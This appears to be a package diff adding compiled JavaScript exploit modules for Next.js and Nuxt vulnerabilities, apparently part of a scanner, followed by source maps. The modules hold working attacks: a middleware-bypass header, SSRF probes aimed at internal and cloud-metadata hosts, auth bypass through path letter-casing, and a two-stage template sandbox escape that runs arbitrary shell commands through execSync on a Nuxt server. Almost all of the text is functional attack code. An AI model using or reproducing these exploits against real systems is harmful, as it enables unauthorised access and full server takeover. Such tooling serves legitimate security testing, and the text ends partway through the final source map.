ACzE,CAAC;SAAM,CAAC;QACJ,QAAQ,CAAC,GAAG,CAAC,IAAI,EAAE,uBAAuB,GAAG,CAAC,EAAE,MAAM,OAAO,CAAC,QAAQ,EAAE,CAAC,CAAC;IAC9E,CAAC;IAED,qBAAqB,CAAC,OAAO,CAAC,MAAM,EAAE,CAAC,gBAAgB,CAAC,GAAG,CAAC,EAAE,EAAE,GAAG,CAAC,UAAU,EAAE,GAAG,CAAC,SAAS,EAAE,GAAG,EAAE,OAAO,CAAC,CAAC,CAAC,CAAC;IAC/G,oBAAoB,CAAC,OAAO,CAAC,YAAY,EAAE,CAAC,cAAc,CAAC,GAAG,EAAE,GAAG,EAAE,OAAO,CAAiB,CAAC,CAAC,CAAC;AACpG,CAAC,CAAA,CAAC;AAEF,yGAAyG;AACzG,MAAM,CAAC,MAAM,YAAY,GAAG,GAAS,EAAE;IACnC,KAAK,MAAM,CAAC,SAAS,EAAE,IAAI,CAAC,IAAI,kBAAkB,EAAE,EAAE,CAAC;QACnD,OAAO,CAAC,GAAG,CAAC,KAAK,CAAC,IAAI,CAAC,MAAM,SAAS,GAAG,CAAC,CAAC,CAAC;QAC5C,KAAK,MAAM,GAAG,IAAI,IAAI,EAAE,CAAC;YACrB,OAAO,CAAC,GAAG,CAAC,KAAK,KAAK,CAAC,KAAK,CAAC,GAAG,CAAC,EAAE,CAAC,IAAI,KAAK,CAAC,GAAG,CAAC,IAAI,GAAG,CAAC,UAAU,GAAG,CAAC,EAAE,CAAC,CAAC;YAC5E,OAAO,CAAC,GAAG,CAAC,OAAO,KAAK,CAAC,GAAG,CAAC,GAAG,CAAC,WAAW,CAAC,EAAE,CAAC,CAAC;QACrD,CAAC;IACL,CAAC;IACD,OAAO,CAAC,GAAG,EAAE,CAAC;AAClB,CAAC,CAAC;AAEF,eAAe,OAAO,CAAC"}

package/build/exploit/next/cve-2025-29927.js

@@ -0,0 +1,65 @@
+var __awaiter = (this && this.__awaiter) || function (thisArg, _arguments, P, generator) {
+    function adopt(value) { return value instanceof P ? value : new P(function (resolve) { resolve(value); }); }
+    return new (P || (P = Promise))(function (resolve, reject) {
+        function fulfilled(value) { try { step(generator.next(value)); } catch (e) { reject(e); } }
+        function rejected(value) { try { step(generator["throw"](value)); } catch (e) { reject(e); } }
+        function step(result) { result.done ? resolve(result.value) : adopt(result.value).then(fulfilled, rejected); }
+        step((generator = generator.apply(thisArg, _arguments || [])).next());
+    });
+};
+import * as cheerio from "cheerio";
+import rawRequest from "../utility/rawRequest.js";
+import diffResponses from "../utility/compareResponses.js";
+/** MAX_RECURSION_DEPTH in next/dist/server/web/sandbox/sandbox.js — the header must repeat exactly this many times. */
+const RECURSION_DEPTH = 5;
+/** Root middleware.ts uses "middleware"; a --src-dir layout uses "src/middleware" — both must be tried. */
+const MIDDLEWARE_IDS = ["middleware", "src/middleware"];
+export const buildMiddlewareBypassHeader = (id, depth = RECURSION_DEPTH) => Array(depth).fill(id).join(":");
+/** Scrapes newly-served HTML for <script src> chunk references — lightweight, not a full `map`-style resolver. */
+export const extractScriptUrls = (html, baseUrl) => {
+    const $ = cheerio.load(html);
+    const urls = new Set();
+    $("script[src]").each((_, el) => {
+        const src = $(el).attr("src");
+        if (!src)
+            return;
+        try {
+            urls.add(new URL(src, baseUrl).toString());
+        }
+        catch (_a) {
+            /* skip unresolvable src values */
+        }
+    });
+    return Array.from(urls);
+};
+const cve202529927 = (ctx) => __awaiter(void 0, void 0, void 0, function* () {
+    const baseline = yield rawRequest(ctx.baseUrl, { timeout: ctx.timeout, signal: ctx.signal });
+    if (!baseline) {
+        return { vulnerable: false, evidence: "Baseline request failed (network error).", discoveredUrls: [] };
+    }
+    for (const id of MIDDLEWARE_IDS) {
+        const payload = yield rawRequest(ctx.baseUrl, {
+            timeout: ctx.timeout,
+            signal: ctx.signal,
+            headers: { "x-middleware-subrequest": buildMiddlewareBypassHeader(id) },
+        });
+        if (!payload)
+            continue;
+        const diff = diffResponses(baseline, payload);
+        if (diff.becameSuccessful) {
+            return {
+                vulnerable: true,
+                evidence: `Middleware bypassed using x-middleware-subrequest id="${id}" (baseline status ${baseline.status} -> payload status ${payload.status}).`,
+                discoveredUrls: extractScriptUrls(payload.body, ctx.baseUrl),
+                rawFindingExtras: { bypassId: id },
+            };
+        }
+    }
+    return {
+        vulnerable: false,
+        evidence: `No bypass observed for either middleware id variant (baseline status ${baseline.status}).`,
+        discoveredUrls: [],
+    };
+});
+export default cve202529927;
+//# sourceMappingURL=cve-2025-29927.js.map

package/build/exploit/next/cve-2025-29927.js.map

@@ -0,0 +1 @@
+{"version":3,"file":"cve-2025-29927.js","sourceRoot":"","sources":["../../../src/exploit/next/cve-2025-29927.ts"],"names":[],"mappings":"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"}

package/build/exploit/next/cve-2026-64645.js

@@ -0,0 +1,51 @@
+var __awaiter = (this && this.__awaiter) || function (thisArg, _arguments, P, generator) {
+    function adopt(value) { return value instanceof P ? value : new P(function (resolve) { resolve(value); }); }
+    return new (P || (P = Promise))(function (resolve, reject) {
+        function fulfilled(value) { try { step(generator.next(value)); } catch (e) { reject(e); } }
+        function rejected(value) { try { step(generator["throw"](value)); } catch (e) { reject(e); } }
+        function step(result) { result.done ? resolve(result.value) : adopt(result.value).then(fulfilled, rejected); }
+        step((generator = generator.apply(thisArg, _arguments || [])).next());
+    });
+};
+import rawRequest from "../utility/rawRequest.js";
+import diffResponses from "../utility/compareResponses.js";
+/** Common dynamic-rewrite capture-group param names observed in the wild for CVE-2026-64645. */
+const CANDIDATE_PARAMS = ["tenant", "region", "backend", "host"];
+const CANDIDATE_HOSTS = ["127.0.0.1", "localhost", "169.254.169.254"];
+export const buildProbeUrl = (baseUrl, param, host) => {
+    const url = new URL(baseUrl);
+    url.searchParams.set(param, host);
+    return url.toString();
+};
+const cve202664645 = (ctx) => __awaiter(void 0, void 0, void 0, function* () {
+    const baseline = yield rawRequest(ctx.baseUrl, { timeout: ctx.timeout, signal: ctx.signal });
+    if (!baseline) {
+        return { vulnerable: false, evidence: "Baseline request failed (network error).", discoveredUrls: [] };
+    }
+    for (const param of CANDIDATE_PARAMS) {
+        for (const host of CANDIDATE_HOSTS) {
+            const probeUrl = buildProbeUrl(ctx.baseUrl, param, host);
+            const payload = yield rawRequest(probeUrl, { timeout: ctx.timeout, signal: ctx.signal });
+            if (!payload)
+                continue;
+            const diff = diffResponses(baseline, payload);
+            // Reflected SSRF: the response body materially changed shape/size relative to the
+            // baseline for a request that only differs by an internal-host query param.
+            if (payload.status >= 200 && payload.status < 300 && Math.abs(diff.bodyLengthDelta) > 50) {
+                return {
+                    vulnerable: true,
+                    evidence: `Rewrite destination reflects internal host via ?${param}=${host} (body length delta ${diff.bodyLengthDelta}).`,
+                    discoveredUrls: [probeUrl],
+                    rawFindingExtras: { param, host },
+                };
+            }
+        }
+    }
+    return {
+        vulnerable: false,
+        evidence: "No reflected internal-host response observed across candidate rewrite params.",
+        discoveredUrls: [],
+    };
+});
+export default cve202664645;
+//# sourceMappingURL=cve-2026-64645.js.map

package/build/exploit/next/cve-2026-64645.js.map

@@ -0,0 +1 @@
+{"version":3,"file":"cve-2026-64645.js","sourceRoot":"","sources":["../../../src/exploit/next/cve-2026-64645.ts"],"names":[],"mappings":";;;;;;;;;AAAA,OAAO,UAAU,MAAM,0BAA0B,CAAC;AAClD,OAAO,aAAa,MAAM,gCAAgC,CAAC;AAG3D,gGAAgG;AAChG,MAAM,gBAAgB,GAAG,CAAC,QAAQ,EAAE,QAAQ,EAAE,SAAS,EAAE,MAAM,CAAU,CAAC;AAC1E,MAAM,eAAe,GAAG,CAAC,WAAW,EAAE,WAAW,EAAE,iBAAiB,CAAU,CAAC;AAE/E,MAAM,CAAC,MAAM,aAAa,GAAG,CAAC,OAAe,EAAE,KAAa,EAAE,IAAY,EAAU,EAAE;IAClF,MAAM,GAAG,GAAG,IAAI,GAAG,CAAC,OAAO,CAAC,CAAC;IAC7B,GAAG,CAAC,YAAY,CAAC,GAAG,CAAC,KAAK,EAAE,IAAI,CAAC,CAAC;IAClC,OAAO,GAAG,CAAC,QAAQ,EAAE,CAAC;AAC1B,CAAC,CAAC;AAEF,MAAM,YAAY,GAAmB,CAAO,GAAmB,EAA2B,EAAE;IACxF,MAAM,QAAQ,GAAG,MAAM,UAAU,CAAC,GAAG,CAAC,OAAO,EAAE,EAAE,OAAO,EAAE,GAAG,CAAC,OAAO,EAAE,MAAM,EAAE,GAAG,CAAC,MAAM,EAAE,CAAC,CAAC;IAC7F,IAAI,CAAC,QAAQ,EAAE,CAAC;QACZ,OAAO,EAAE,UAAU,EAAE,KAAK,EAAE,QAAQ,EAAE,0CAA0C,EAAE,cAAc,EAAE,EAAE,EAAE,CAAC;IAC3G,CAAC;IAED,KAAK,MAAM,KAAK,IAAI,gBAAgB,EAAE,CAAC;QACnC,KAAK,MAAM,IAAI,IAAI,eAAe,EAAE,CAAC;YACjC,MAAM,QAAQ,GAAG,aAAa,CAAC,GAAG,CAAC,OAAO,EAAE,KAAK,EAAE,IAAI,CAAC,CAAC;YACzD,MAAM,OAAO,GAAG,MAAM,UAAU,CAAC,QAAQ,EAAE,EAAE,OAAO,EAAE,GAAG,CAAC,OAAO,EAAE,MAAM,EAAE,GAAG,CAAC,MAAM,EAAE,CAAC,CAAC;YACzF,IAAI,CAAC,OAAO;gBAAE,SAAS;YAEvB,MAAM,IAAI,GAAG,aAAa,CAAC,QAAQ,EAAE,OAAO,CAAC,CAAC;YAC9C,kFAAkF;YAClF,4EAA4E;YAC5E,IAAI,OAAO,CAAC,MAAM,IAAI,GAAG,IAAI,OAAO,CAAC,MAAM,GAAG,GAAG,IAAI,IAAI,CAAC,GAAG,CAAC,IAAI,CAAC,eAAe,CAAC,GAAG,EAAE,EAAE,CAAC;gBACvF,OAAO;oBACH,UAAU,EAAE,IAAI;oBAChB,QAAQ,EAAE,mDAAmD,KAAK,IAAI,IAAI,uBAAuB,IAAI,CAAC,eAAe,IAAI;oBACzH,cAAc,EAAE,CAAC,QAAQ,CAAC;oBAC1B,gBAAgB,EAAE,EAAE,KAAK,EAAE,IAAI,EAAE;iBACpC,CAAC;YACN,CAAC;QACL,CAAC;IACL,CAAC;IAED,OAAO;QACH,UAAU,EAAE,KAAK;QACjB,QAAQ,EAAE,+EAA+E;QACzF,cAAc,EAAE,EAAE;KACrB,CAAC;AACN,CAAC,CAAA,CAAC;AAEF,eAAe,YAAY,CAAC"}

package/build/exploit/nuxt/cve-2026-71315.js

@@ -0,0 +1,47 @@
+var __awaiter = (this && this.__awaiter) || function (thisArg, _arguments, P, generator) {
+    function adopt(value) { return value instanceof P ? value : new P(function (resolve) { resolve(value); }); }
+    return new (P || (P = Promise))(function (resolve, reject) {
+        function fulfilled(value) { try { step(generator.next(value)); } catch (e) { reject(e); } }
+        function rejected(value) { try { step(generator["throw"](value)); } catch (e) { reject(e); } }
+        function step(result) { result.done ? resolve(result.value) : adopt(result.value).then(fulfilled, rejected); }
+        step((generator = generator.apply(thisArg, _arguments || [])).next());
+    });
+};
+import rawRequest from "../utility/rawRequest.js";
+import diffResponses from "../utility/compareResponses.js";
+/** Covers both CVE-2026-71315 (regression) and CVE-2026-53721 (original disclosure) — same bypass. */
+const CASING_VARIANTS = ["Admin", "admin", "ADMIN"];
+/** All-lowercase control route on the same app, expected to correctly redirect/gate. */
+const CONTROL_PATH = "/testauth";
+export const buildCasedUrl = (baseUrl, casedSegment) => new URL(`/${casedSegment}`, baseUrl).toString();
+const cve202671315 = (ctx) => __awaiter(void 0, void 0, void 0, function* () {
+    const controlUrl = new URL(CONTROL_PATH, ctx.baseUrl).toString();
+    const control = yield rawRequest(controlUrl, { timeout: ctx.timeout, signal: ctx.signal });
+    if (!control) {
+        return { vulnerable: false, evidence: "Control-route request failed (network error).", discoveredUrls: [] };
+    }
+    const bypassedVariants = [];
+    for (const variant of CASING_VARIANTS) {
+        const url = buildCasedUrl(ctx.baseUrl, variant);
+        const response = yield rawRequest(url, { timeout: ctx.timeout, signal: ctx.signal });
+        if (!response)
+            continue;
+        // The control route (all-lowercase, same app) is expected to redirect/gate. If a casing
+        // variant returns 200 while the control still redirects, the rule's auth gate was skipped
+        // specifically for that casing, not general auth breakage.
+        const diff = diffResponses(control, response);
+        if (diff.becameSuccessful)
+            bypassedVariants.push(variant);
+    }
+    if (bypassedVariants.length > 0) {
+        return {
+            vulnerable: true,
+            evidence: `Route-rule middleware gate bypassed for casing variant(s): ${bypassedVariants.join(", ")} (control route "${CONTROL_PATH}" correctly gated).`,
+            discoveredUrls: bypassedVariants.map((v) => buildCasedUrl(ctx.baseUrl, v)),
+            rawFindingExtras: { bypassedVariants },
+        };
+    }
+    return { vulnerable: false, evidence: "No casing-based route-rule bypass observed.", discoveredUrls: [] };
+});
+export default cve202671315;
+//# sourceMappingURL=cve-2026-71315.js.map

package/build/exploit/nuxt/cve-2026-71315.js.map

@@ -0,0 +1 @@
+{"version":3,"file":"cve-2026-71315.js","sourceRoot":"","sources":["../../../src/exploit/nuxt/cve-2026-71315.ts"],"names":[],"mappings":";;;;;;;;;AAAA,OAAO,UAAU,MAAM,0BAA0B,CAAC;AAClD,OAAO,aAAa,MAAM,gCAAgC,CAAC;AAG3D,sGAAsG;AACtG,MAAM,eAAe,GAAG,CAAC,OAAO,EAAE,OAAO,EAAE,OAAO,CAAU,CAAC;AAC7D,wFAAwF;AACxF,MAAM,YAAY,GAAG,WAAW,CAAC;AAEjC,MAAM,CAAC,MAAM,aAAa,GAAG,CAAC,OAAe,EAAE,YAAoB,EAAU,EAAE,CAC3E,IAAI,GAAG,CAAC,IAAI,YAAY,EAAE,EAAE,OAAO,CAAC,CAAC,QAAQ,EAAE,CAAC;AAEpD,MAAM,YAAY,GAAmB,CAAO,GAAmB,EAA2B,EAAE;IACxF,MAAM,UAAU,GAAG,IAAI,GAAG,CAAC,YAAY,EAAE,GAAG,CAAC,OAAO,CAAC,CAAC,QAAQ,EAAE,CAAC;IACjE,MAAM,OAAO,GAAG,MAAM,UAAU,CAAC,UAAU,EAAE,EAAE,OAAO,EAAE,GAAG,CAAC,OAAO,EAAE,MAAM,EAAE,GAAG,CAAC,MAAM,EAAE,CAAC,CAAC;IAC3F,IAAI,CAAC,OAAO,EAAE,CAAC;QACX,OAAO,EAAE,UAAU,EAAE,KAAK,EAAE,QAAQ,EAAE,+CAA+C,EAAE,cAAc,EAAE,EAAE,EAAE,CAAC;IAChH,CAAC;IAED,MAAM,gBAAgB,GAAa,EAAE,CAAC;IACtC,KAAK,MAAM,OAAO,IAAI,eAAe,EAAE,CAAC;QACpC,MAAM,GAAG,GAAG,aAAa,CAAC,GAAG,CAAC,OAAO,EAAE,OAAO,CAAC,CAAC;QAChD,MAAM,QAAQ,GAAG,MAAM,UAAU,CAAC,GAAG,EAAE,EAAE,OAAO,EAAE,GAAG,CAAC,OAAO,EAAE,MAAM,EAAE,GAAG,CAAC,MAAM,EAAE,CAAC,CAAC;QACrF,IAAI,CAAC,QAAQ;YAAE,SAAS;QAExB,wFAAwF;QACxF,0FAA0F;QAC1F,2DAA2D;QAC3D,MAAM,IAAI,GAAG,aAAa,CAAC,OAAO,EAAE,QAAQ,CAAC,CAAC;QAC9C,IAAI,IAAI,CAAC,gBAAgB;YAAE,gBAAgB,CAAC,IAAI,CAAC,OAAO,CAAC,CAAC;IAC9D,CAAC;IAED,IAAI,gBAAgB,CAAC,MAAM,GAAG,CAAC,EAAE,CAAC;QAC9B,OAAO;YACH,UAAU,EAAE,IAAI;YAChB,QAAQ,EAAE,8DAA8D,gBAAgB,CAAC,IAAI,CAAC,IAAI,CAAC,oBAAoB,YAAY,qBAAqB;YACxJ,cAAc,EAAE,gBAAgB,CAAC,GAAG,CAAC,CAAC,CAAC,EAAE,EAAE,CAAC,aAAa,CAAC,GAAG,CAAC,OAAO,EAAE,CAAC,CAAC,CAAC;YAC1E,gBAAgB,EAAE,EAAE,gBAAgB,EAAE;SACzC,CAAC;IACN,CAAC;IAED,OAAO,EAAE,UAAU,EAAE,KAAK,EAAE,QAAQ,EAAE,6CAA6C,EAAE,cAAc,EAAE,EAAE,EAAE,CAAC;AAC9G,CAAC,CAAA,CAAC;AAEF,eAAe,YAAY,CAAC"}

package/build/exploit/nuxt/cve-2026-71320.js

@@ -0,0 +1,114 @@
+var __awaiter = (this && this.__awaiter) || function (thisArg, _arguments, P, generator) {
+    function adopt(value) { return value instanceof P ? value : new P(function (resolve) { resolve(value); }); }
+    return new (P || (P = Promise))(function (resolve, reject) {
+        function fulfilled(value) { try { step(generator.next(value)); } catch (e) { reject(e); } }
+        function rejected(value) { try { step(generator["throw"](value)); } catch (e) { reject(e); } }
+        function step(result) { result.done ? resolve(result.value) : adopt(result.value).then(fulfilled, rejected); }
+        step((generator = generator.apply(thisArg, _arguments || [])).next());
+    });
+};
+import { hash } from "ohash";
+import rawRequest from "../utility/rawRequest.js";
+import runSandboxRceProof, { escapeSingleQuotedLiteral } from "../utility/sandboxRce.js";
+/** Default Server Island component name probed when none is known ahead of time. */
+const DEFAULT_COMPONENT = "MyWidget";
+/**
+ * The `/__nuxt_island/<name>_<hash>` hash suffix is not a security token — it's
+ * `ohash.hash([name, props, context, source])` with no secret key, fully computable client-side.
+ * The raw ohash digest can contain `-`/`_`, which the island name/hash URL segment rejects, so
+ * Nuxt's own client-side request builder strips them before appending the suffix. `source` is
+ * left `undefined` (not an empty string) to match the request shape Nuxt's own runtime produces —
+ * hashing `undefined` is not the same as hashing `""` and produces a different digest.
+ */
+export const computeIslandHash = (name, props, context = {}) => hash([name, props, context, undefined]).replace(/[-_]/g, "");
+/**
+ * Mirrors the proven-working escape shape: grabs the real global object via the Function
+ * constructor first (`'a'.constructor.constructor('return globalThis')()`), since bare
+ * `globalThis` cannot be assumed to resolve correctly inside Vue's `with(_ctx)` interpolation
+ * sandbox — every property access, including reading the stash back in stage 2, goes through
+ * that same real-global reference rather than a bare identifier.
+ */
+const sandboxEscapePayload = (cmd, marker) => {
+    const kickoff = `(function(){var f='a'.constructor.constructor;var g=f('return globalThis')();` +
+        `g.__poc=f("return import('node:child_process')")().then(function(m){` +
+        `g.__pocOut=m.execSync('${escapeSingleQuotedLiteral(cmd)}').toString();` +
+        `}).catch(function(e){g.__pocOut='ERR:'+e.message;});return 'kicked';})()`;
+    const readback = "'a'.constructor.constructor('return globalThis')().__pocOut || ''";
+    return `<div>{{ ${marker === "stage1" ? kickoff : readback} }}</div>`;
+};
+export const buildIslandProps = (template) => ({
+    as: { template },
+});
+/**
+ * The island endpoint responds with JSON (`{ id, html, ... }`), not raw HTML — the rendered
+ * mustache output lives in `.html`, wrapped in the `<div>` from the template. Strips that wrapper
+ * and returns null for an empty/error-shaped response so stage 2's retry loop doesn't mistake a
+ * merely-parseable response for the real command output.
+ */
+export const extractIslandOutput = (responseBody) => {
+    let parsed;
+    try {
+        parsed = JSON.parse(responseBody);
+    }
+    catch (_a) {
+        return null;
+    }
+    const html = parsed === null || parsed === void 0 ? void 0 : parsed.html;
+    if (typeof html !== "string")
+        return null;
+    // Strip tags to a fixed point rather than a single pass — a single pass can leave a nested
+    // marker exposed (e.g. "<<script>script>" -> "<script>" after removing just the inner tag).
+    // This text is only ever used as a display string (exploit evidence/output), never re-rendered
+    // as HTML, but stripping to a fixed point is the standard defense regardless of that sink.
+    let text = html;
+    let previous;
+    do {
+        previous = text;
+        text = text.replace(/<[^>]*>/g, "");
+    } while (text !== previous);
+    text = text.trim();
+    return text.length > 0 ? text : null;
+};
+const cve202671320 = (ctx) => __awaiter(void 0, void 0, void 0, function* () {
+    const component = DEFAULT_COMPONENT;
+    const requestIsland = (template) => __awaiter(void 0, void 0, void 0, function* () {
+        const props = buildIslandProps(template);
+        const islandHash = computeIslandHash(component, props);
+        const url = new URL(`/__nuxt_island/${component}_${islandHash}`, ctx.baseUrl).toString();
+        // Payload MUST go in the POST body, not the query string — the endpoint's naive path
+        // parser splits on "_", which collides with any "_" in the exec command.
+        return rawRequest(url, {
+            method: "POST",
+            timeout: ctx.timeout,
+            signal: ctx.signal,
+            headers: { "content-type": "application/json" },
+            body: JSON.stringify({ props: JSON.stringify(props) }),
+        });
+    });
+    const result = yield runSandboxRceProof({
+        sendStage1: (cmd) => __awaiter(void 0, void 0, void 0, function* () {
+            yield requestIsland(sandboxEscapePayload(cmd, "stage1"));
+        }),
+        sendStage2: () => __awaiter(void 0, void 0, void 0, function* () {
+            const resp = yield requestIsland(sandboxEscapePayload("", "stage2"));
+            if (!resp || resp.status !== 200)
+                return null;
+            return extractIslandOutput(resp.body);
+        }),
+    }, ctx.execCmd);
+    if (result.succeeded) {
+        return {
+            vulnerable: true,
+            evidence: `Server Island template-injection RCE confirmed. Command "${ctx.execCmd}" output: ${result.output}`,
+            discoveredUrls: [],
+            rawFindingExtras: { execOutput: result.output },
+        };
+    }
+    return {
+        vulnerable: false,
+        evidence: "Server Island sandbox-escape RCE proof did not succeed (patched, or endpoint/component name unknown).",
+        discoveredUrls: [],
+    };
+});
+export default cve202671320;
+//# sourceMappingURL=cve-2026-71320.js.map

package/build/exploit/nuxt/cve-2026-71320.js.map

@@ -0,0 +1 @@
+{"version":3,"file":"cve-2026-71320.js","sourceRoot":"","sources":["../../../src/exploit/nuxt/cve-2026-71320.ts"],"names":[],"mappings":"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